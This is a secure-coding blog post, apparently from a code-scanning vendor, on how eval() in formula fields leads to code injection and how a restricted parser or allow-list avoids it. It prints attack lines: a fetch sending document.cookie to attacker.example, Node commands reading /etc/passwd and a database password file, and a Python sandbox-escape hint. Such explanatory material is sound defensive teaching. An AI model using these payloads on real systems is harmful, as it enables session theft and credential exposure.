What eval() actually does to your app's attack surface
Par Seaworthy · 22 juillet 2026
Photo by Florian Olivo on Unsplash
Someone on your team is going to build a "dynamic formula" field. A spreadsheet-style column where users type price * qty * 0.9 and the app computes it live. Or a "custom rule" box in a SaaS admin panel: user.role == "admin" && account.plan != "free". It feels like a small feature. Nobody wants to write a parser for it. So they reach for eval(), ship it, and move on.
This is how eval() ends up in production code that started life as a demo. And it's worth being precise about what it actually opens up, because "don't use eval, it's dangerous" gets said so often that it stops meaning anything.
What eval() actually does
eval() takes a string and runs it as code, with the full privileges of the context it's called from. In a browser, that means document, window, fetch, cookies, localStorage, whatever the page can see. In Node, it means process, the filesystem, environment variables, everything that process can reach. new Function() is the same trick with a thinner disguise: it compiles a string into a callable function that still runs with full JS capability. Python's exec() and eval() are the same idea in a different runtime: the string becomes code, and that code can import modules, open files, and shell out.
None of this matters if the string is a hardcoded literal you wrote yourself. It matters the moment any part of that string can be influenced by something outside your control, even indirectly. And "indirectly" is doing a lot of work in that sentence, because that's where most of the real incidents come from.
The formula field, walked through
Say you're building that spreadsheet feature. You want users to type an expression and get a computed value:
function computeCell(formula, context) {
// context has row values like { price: 10, qty: 3 }
return eval(formula);
}
computeCell("price * qty * 0.9", { price: 10, qty: 3 }); // 27
Works great in the demo. Then someone types something that isn't arithmetic:
computeCell(
"fetch('https://attacker.example/steal?d=' + document.cookie)",
{ price: 10, qty: 3 }
);
If this runs client-side, that's a self-XSS payload with a delivery mechanism you built for them: paste a formula into a shared spreadsheet, wait for a teammate to open it, done. If it runs server-side in Node, swap fetch for require('child_process').exec('cat /etc/passwd') or require('fs').readFileSync(process.env.DB_PASSWORD_PATH) and you've handed out a shell.
The "indirect" part is the bit teams miss. Maybe users can't type into the formula field directly, but the formula gets built by concatenating a template with a field name that comes from a CSV import, a webhook payload, or another user's display name. Any one of those hops is enough. You don't need a text box labeled "enter JavaScript here" for this to be exploitable, just one string that reaches eval() and one upstream source that isn't fully trusted.
Same failure mode in Python, same shape of code:
def compute_cell(formula, context):
return eval(formula, {"__builtins__": {}}, context)
Note the attempt to sandbox it by stripping __builtins__. That's a well-known trap: stripped-globals eval sandboxes have been bypassed for years using tricks like walking ().__class__.__base__.__subclasses__() back to something that can import os. If you're relying on a blocklist of dangerous names, you're playing a game you will lose, because the attack surface is "everything reachable from any object," not a fixed list you can enumerate.
The actual fix: don't run arbitrary code, evaluate a restricted grammar
The safer version of a formula feature isn't "eval, but sandboxed harder." It's parsing the input as data, not as code. Two ways to do that:
Write or use a real expression parser. A formula like price * qty * 0.9 fits a small, well-defined grammar: numbers, variable names, + - * /, parentheses. That's a tokenizer and a recursive-descent parser, and it's genuinely not much code:
function evalExpr(formula, context) {
const tokens = formula.match(/\d+\.?\d*|[a-zA-Z_]\w*|[+\-*/()]/g) || [];
let pos = 0;
function parseExpr() {
let value = parseTerm();
while (tokens[pos] === "+" || tokens[pos] === "-") {
const op = tokens[pos++];
const rhs = parseTerm();
value = op === "+" ? value + rhs : value - rhs;
}
return value;
}
function parseTerm() {
let value = parseFactor();
while (tokens[pos] === "*" || tokens[pos] === "/") {
const op = tokens[pos++];
const rhs = parseFactor();
value = op === "*" ? value * rhs : value / rhs;
}
return value;
}
function parseFactor() {
const tok = tokens[pos++];
if (tok === "(") {
const value = parseExpr();
pos++; // consume ")"
return value;
}
if (tok in context) return context[tok];
return parseFloat(tok);
}
return parseExpr();
}
Nothing in this can call fetch, touch the DOM, or read a file, because the grammar has no production rule for "call an arbitrary function." That's the actual security property, and no amount of sandboxing gets you there while eval() is still in the call path. Beyond simple arithmetic, reach for an existing expression-parser library rather than growing your own grammar indefinitely.
Or use an allow-listed function map, which works well when the "formula" is really a fixed set of operations rather than free-form math:
const ALLOWED_OPS = {
sum: (a, b) => a + b,
discount: (price, pct) => price * (1 - pct),
round: (n) => Math.round(n),
};
function runRule(opName, args) {
const fn = ALLOWED_OPS[opName];
if (!fn) throw new Error(`Unknown operation: ${opName}`);
return fn(...args);
}
The user's input selects a key in an object you control. It can never become a code path you didn't write. This is the same pattern as an allowlist for shell commands or SQL column names: the input picks from a fixed, known set instead of being interpreted as instructions.
Either approach costs you an afternoon. eval() costs you nothing until the day it costs you a security incident report and an uncomfortable conversation about how a "formula field" turned into remote code execution.
Seaworthy's static analysis flags eval(), new Function(), and exec() calls directly, so this pattern gets caught in review before it reaches a repo where "just ship it" turns into an incident.
Cet article a été généré par IA et résume des sources publiquement disponibles.
Seaworthy analyse votre dépôt pour détecter les problèmes abordés dans des articles comme celui-ci.
Failles de sécurité, secrets exposés et mauvaises configurations détectés avant le déploiement. Gratuit, aucun compte requis.